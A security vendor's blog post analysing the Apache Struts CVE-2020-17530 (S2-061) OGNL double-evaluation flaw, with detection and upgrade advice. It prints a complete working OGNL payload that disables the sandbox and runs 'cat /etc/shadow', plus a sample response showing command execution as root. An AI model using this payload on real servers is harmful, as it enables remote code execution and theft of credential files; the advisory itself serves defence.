Apache Struts 2 Double OGNL Evaluation Vulnerability (CVE-2020-17530)

Mayank Deshmukh

Last updated on: December 23, 2022

A vulnerability (CVE-2020-17530) discovered last year in the Object Graph Navigation Language (OGNL) evaluation function of Apache Struts versions 2.0.0 – 2.5.25 can be exploited by attackers to perform remote code execution. This RCE vulnerability doesn’t come packaged with Apache struts but is dependent on how the web application is configured, so a simple Apache version check cannot identify vulnerable systems.

Qualys Web Application Scanning has added a new QID to detect this vulnerability that sends a request to the target server to determine if it is exploitable. Once detected, the vulnerability can be remediated by upgrading to Apache Struts 2.5.26 or greater, which checks if expression evaluation won’t lead to the double evaluation to prevent exploitation. Qualys also advises to avoid using forced OGNL evaluation on untrusted user input.

About CVE-2020-17530

Apache Struts 2 is a well-known open-source web application framework for developing Java EE web applications that is widely targeted by hackers.

According to CVE-2020-17530, Struts versions 2.0.0 – 2.2.25 are vulnerable to this exploit.

This vulnerability occurs when Apache Struts framework is forced to perform double evaluation of attributes assigned to some tag’s attributes such as id if a developer has configured the application to perform forced OGNL evaluation using %{..} syntax.

Double evaluation is when an expression string gets evaluated as code, and then, if the result is another string, it gets evaluated as code again, the %{..} syntax indicates the content inside it should be treated as an OGNL expression.


<s: hidden name id="%{name}"/>

When a user passes a value name=%{2*2} the input is treated as OGNL script and is evaluated again generating output id=”4″, resulting in RCE.

Hence the user input value ends up getting evaluated twice when the tag’s attributes are rendered.

Exploit Analysis

Before going forward with the exploitation, let’s break the exploit to understand its core concept.

First let’s see what is OGNL? Object-Graph Navigation Language (OGNL) is an open-source Expression Language for Java, which, while using simpler expressions than the full range of those supported by the Java language, allows getting and setting properties, and execution of methods of Java classes.

Being able to create properties and change the code execution, it’s prone to critical security flaws.

While S2-061 exploit is basically a bypass of S2-059 sandbox environment, The sandbox restrictions imposed by OGNL enforces the validation of accessing packages, classes, and their normally private or protected methods/fields.

These private class and methods can be accessed and modified by creating a BeanMap instance.

RCE Code Analysis:

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/shadow")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

Apache Struts 2 contains internal security manager which blocks access to particular classes and Java packages – it’s an OGNL-wide mechanism which means it affects any aspect of the framework.

Below are the three options that can be used to configure excluded packages and classes

  • struts.excludedClasses
  • struts.excludedPackageNamePatterns
  • struts.excludedPackageNames

Analyzing the first part of the exploit code we understand a BeanMap instance is created and its setBean and put functions is used to set security mechanism options excludedClasses and excludedPackageNames to empty, these options contain the set of excluded classes and package names, thus nullifying the sandbox restrictions as every class and package access restrictions are now disabled.

Now that the OGNL restrictions are completely disabled, In the later part of the code we can see code execution is achieved by using disallowed class Execute from freemarker.template.utility package, this Execute class allows FreeMarker the ability to execute external commands using exec() method.


Attackers can execute system commands by sending the specially crafted HTTP request containing the OGNL payload to the target server like below:


POST /index.action HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 775



HTTP/1.1 200 OK
Connection: close
Date: Tue, 24 Aug 2021 13:02:26 GMT
Content-Language: en
Content-Type: text/html;charset=utf-8
Set-Cookie: JSESSIONID=node011cf0u95rdhdp1xsd64hecky246.node0; Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 974
Server: Jetty(9.4.31.v20200723)

<html> <head> <title>S2-059 demo</title> </head> <body> <a id="uid=0(root) gid=0(root) groups=0(root)" href="/index.action;jsessionid=node011cf0u95rdhdp1xsd64hecky246.node0"> your input id: %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} has ben evaluated again in id attribute </a> </body> </html>

Detecting the Vulnerability with Qualys WAS

Customers can detect this vulnerability with Qualys Web Application Scanning using QID 150354. Since this vulnerability is application configuration dependent, the QID sends a POST/GET request to the target server with OGNL RCE payload to confirm if the target is exploitable.


Once the vulnerability is successfully detected by Qualys WAS, users shall see similar kind of results in the vulnerability scan report:


Although this RCE vulnerability was discovered late last year, it’s been seen in the wild and multiple exploit scripts are still being released.

Hence, we highly recommend upgrading to Apache Struts 2.5.26 or greater.


Apache Struts announcement was released on December 08, 2020: https://struts.apache.org/announce-2020#a20201208

Apache Security Bulletin:

CVE details:

Credits for the vulnerability discovery goes to:

  • Alvaro Munoz – pwntester at github dot com
  • Masato Anzai of Aeye Security Lab, inc



  • Sheela Sarva, Director, Quality Engineering, Web Application Security, Qualys
  • Ed Arnold, Security Solutions Architect, Qualys
Share your Comments


Your email address will not be published. Required fields are marked *